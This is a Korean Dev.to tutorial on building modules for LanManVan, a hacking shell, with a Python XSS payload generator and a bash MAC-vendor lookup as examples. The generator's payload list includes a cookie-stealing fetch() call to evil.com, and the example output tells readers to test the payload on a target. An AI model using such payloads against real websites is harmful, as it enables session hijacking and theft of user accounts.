LanManVan: 자신만의 모듈을 만드는 방법
Source: Dev.to
새 모듈 만들기
LanManVan 셸의 내장 create 명령을 사용합니다.
# Python 모듈
create mytool python
# Bash 모듈
create mytool bash
예시
hmza@0root ❯ create xss-payload-gen python
[+] Module 'xss-payload-gen' created successfully
[*] Location: /home/hmza/lanmanvan/modules/xss-payload-gen
명령은 자동으로 다음을 생성합니다:
- 모듈 디렉터리
module.yaml(메타데이터)main.py또는main.sh(코드)
edit 명령으로 모듈을 편집할 수 있습니다:
hmza@0root ❯ edit xss-payload-gen
기본 편집기에서 모듈 디렉터리를 열고 파일들을 보여줍니다:
Files in module:
├─ main.py
└─ module.yaml
모듈 메타데이터 (module.yaml)
module.yaml 파일은 LanManVan에 모듈에 대해 알려줍니다.
name: xss-payload-gen
description: "Generates common XSS payloads with encoding options"
type: python
author: Your Name
version: 1.0.0
tags:
- web
- xss
- payload
options:
type:
type: string
description: Payload type (alert, steal-cookie, etc.)
required: true
default: alert
encode:
type: string
description: Encoding (url, html, base64, none)
required: false
default: url
required:
- type
파이썬 모듈 예시 (main.py)
인수는 환경 변수(ARG_)를 통해 전달됩니다.
#!/usr/bin/env python3
"""
Module: xss-payload-gen
"""
import os
import urllib.parse
import base64
def url_encode(s):
return urllib.parse.quote(s)
def html_encode(s):
return (
s.replace('&', '&')
.replace('', '>')
.replace('"', '"')
)
def main():
payload_type = os.getenv('ARG_TYPE', 'alert')
encode = os.getenv('ARG_ENCODE', 'url').lower()
payloads = {
'alert': 'alert(1)',
'steal-cookie': 'fetch("https://evil.com/steal?cookie="+document.cookie)',
'beacon': ''
}
base = payloads.get(payload_type, payloads['alert'])
if encode == 'url':
result = url_encode(base)
elif encode == 'html':
result = html_encode(base)
elif encode == 'base64':
result = base64.b64encode(base.encode()).decode()
else:
result = base
print(f"[+] Generated payload ({payload_type}, {encode}-encoded):")
print()
print(result)
print()
print("[*] Copy and test in your target!")
if __name__ == '__main__':
main()
파이썬 모듈 실행
# 간단히 (공백 없이)
xss-payload-gen type=steal-cookie encode=none
# 공백을 포함해도 작동
xss-payload-gen type = beacon encode = base64
# 추가 전역 옵션 사용
xss-payload-gen type=alert threads=5 save=1
save=1을 사용할 경우 출력이 타임스탬프와 함께 ./logs/에 저장됩니다.
Bash 모듈 예제 (main.sh)
Bash 기반 모듈을 생성합니다. 예: MAC 주소 조회 도구.
# Create the module
create mac-lookup bash
main.sh 편집:
#!/bin/bash
VENDOR=$(curl -s "http://api.macvendors.com/$ARG_MAC")
echo "[+] MAC: $ARG_MAC"
echo "[+] Vendor: ${VENDOR:-Unknown}"
해당 module.yaml (옵션 섹션만 간략히 표시):
options:
mac:
type: string
description: MAC address to lookup
required: true
Bash 모듈 실행
mac-lookup mac=00:11:22:33:44:55
Additional Tips
- Search –
search <term>은(는) 유사한 모듈을 찾습니다. - Info –
info <module>은(는) 상세 보기를 표시합니다. - Logging –
save=1을 추가하여./logs/에 출력물을 저장합니다. - Threading –
threads=N을 사용하여 동시 실행을 수행합니다(모듈이 지원하는 경우). - Global variables – 필요에 따라
timeout=?또는proxy=http://127.0.0.1:8080을 설정합니다.
모듈 게시하기
- 모듈을 자체 GitHub 저장소에 올리세요.
module.yaml파일을 포함하세요.- 커뮤니티 저장소에 추가하기 위해 Pull Request를 열거나,
lmv_module을 사용해 공개 저장소에서 바로 설치하세요.
LanManVan은 모듈 개발을 재미있고 빠르게 만들어 줍니다—보일러플레이트 없이, 복잡한 API 없이—도구만 작성하면 강력한 쉘에서 실행할 수 있습니다.
오늘 바로 만들기 시작하세요!
hmza@0root ❯ create my-awesome-tool python
Repository:
모듈, 아이디어, 혹은 PR을 공유하세요—함께 성장시켜요! 윤리적인 해킹을 항상 잊지 마세요! 🚀